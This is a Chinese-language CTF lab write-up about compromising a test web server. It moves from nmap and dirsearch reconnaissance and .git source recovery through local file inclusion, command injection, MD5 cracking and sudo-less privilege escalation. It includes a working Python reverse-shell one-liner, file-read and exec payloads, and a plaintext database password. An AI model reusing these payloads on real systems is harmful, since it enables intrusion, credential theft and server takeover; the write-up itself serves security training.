信息收集阶段:使用了哪些工具
(1)、使用了 nmap 工具
nmap:网络扫描和发现工具,主要用于网络安全审计和网络管理
使用 nmap -sV +目标IP 来检测服务版本,暴露有哪些端口开放.如图所示

(2)、dirsearch 工具
dirsearch :是一个Web目录扫描工具,用于发现网站上的隐藏目录、文件和敏感信息
使用dirsearch -u http://192.168.107.106 -e php,txt,bak,swp,old 来扫描目录下面的文件和敏感信息

git(恢复网站源码)
MD5 在线解密
发现了哪些关键信息
目标主机开放 80 HTTP 端口,运行 Web 服务
网站存在 .git 源码泄露,可下载全部网站代码
存在文件包含接口 /api/loader.php
读取到 /var/www/html/api/.htpasswd 密码文件
获取到用户 zhangwei 的密码哈希
爆破得到密码:bob
发现命令执行点 ?exec= 可执行系统命令
总共利用了 4 个核心漏洞
1. Git 源码泄露漏洞(信息泄露)
(1)、我们通过扫描发现漏洞位置:/.git/ 目录可直接访问

-sV:扫描端口对应的服务版本
--script=vuln:调用 Nmap 漏洞扫描脚本,自动扫目标存在的公开漏洞
目标:192.168.107.106
作用:自动发现这台服务器开放了哪些端口、运行什么服务、存在什么已知漏洞
进入下载好的 .git 所在目录,这个目录是 wget -r 自动创建的,里面包含了 .git 文件夹 如下图所示
通过 wget -r --no-parent 递归下载目标服务器的 .git 目录,这是 CTF 中常见的源码泄露利用方式,目的是恢复完整 Git 仓库,从中获取敏感信息.

图1

图2
git reset --hard 32c6f0c67e8d557e191e745a44aac9b96e6851d7HEAD 现在位于 32c6f0c initial commit 查看历史版本中可能隐藏的敏感信息。

我们在查询一下有没有隐藏文件,查询得知有一个admin_panel敏感文件

查看敏感文件,我们可以看到暴露出来的MD5密码,接下来我们要对它进行解密,利用我们的解密工具 来对它进行解密如下图所示


2、本地文件包含漏洞
漏洞位置:/api/loader.php?module=xxx
漏洞原理:module 参数直接拼接路径,无过滤,可读取任意系统文件
利用方法:
plaintext
file:///etc/passwd
file:///var/www/html/api/.htpasswd
获取内容:apache 密码文件、用户列表、系统配置
3. 远程命令执行漏洞
plaintext
漏洞原理:exec 参数直接传入系统执行,无过滤
危害:可执行任意系统命令 → 反弹 Shell → 控制服务器
4. MD5 密码破解
漏洞位置:数据库中存储 MD5 弱密码
密码:bob
MD5:9f9d51bc70ef21ca5c14f307980a29d8
利用方式:Python 字典爆破、MD5 解密
二、载荷
1. 文件读取载荷
plaintext
file:///var/www/html/api/.htpasswd
作用:读取 apache 认证密码文件,获得 zhangwei:$apr1$...
2. 命令执行载荷
plaintext
module=admin_panel&token=bob&exec=ls
plaintext
module=admin_panel&token=bob&exec=cat /home/zhangwei/flag2
3. 反弹 Shell (获取服务器控制)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("你的IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
URL 编码后放入 exec= 即可弹回 root 权限 shell
4. kali监听登录
登录上kali之后可以执行find命令查找所有的flag,我们就可以查看到在根下的flag3和flag1,于是我们可以直接对flag1进行查看

于是我们得到了flag1,后面的两个flag我们需要对mysql数据库进行查看用户
5.mysql数据库检查
可以使用如下指令
mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"我们就能看到

看到admin的密码哈希,我们接下来需要对他进行爆破
然后在前面我们可以知道有一个数据库用户叫liwei,所以我们可以尝试用爆破出来的结果登录liwei的用户
这里我们选择su liwei
然后爆破出来的结果是dragon
我们就可以直接切换到liwei
6.切换用户检查

我们可以看到已经切换成了liwei
在切换到liwei后,我们可以直接cd到liwei家,直接看flag2

我们可以sudo -l看一看我们能执行的权限,在权限中我们可以知道liwei可以无密码查看
我们就可以执行
sudo /usr/bin/less /var/log/abyss/../../../flag3.txt我们就能看到flag3啦!

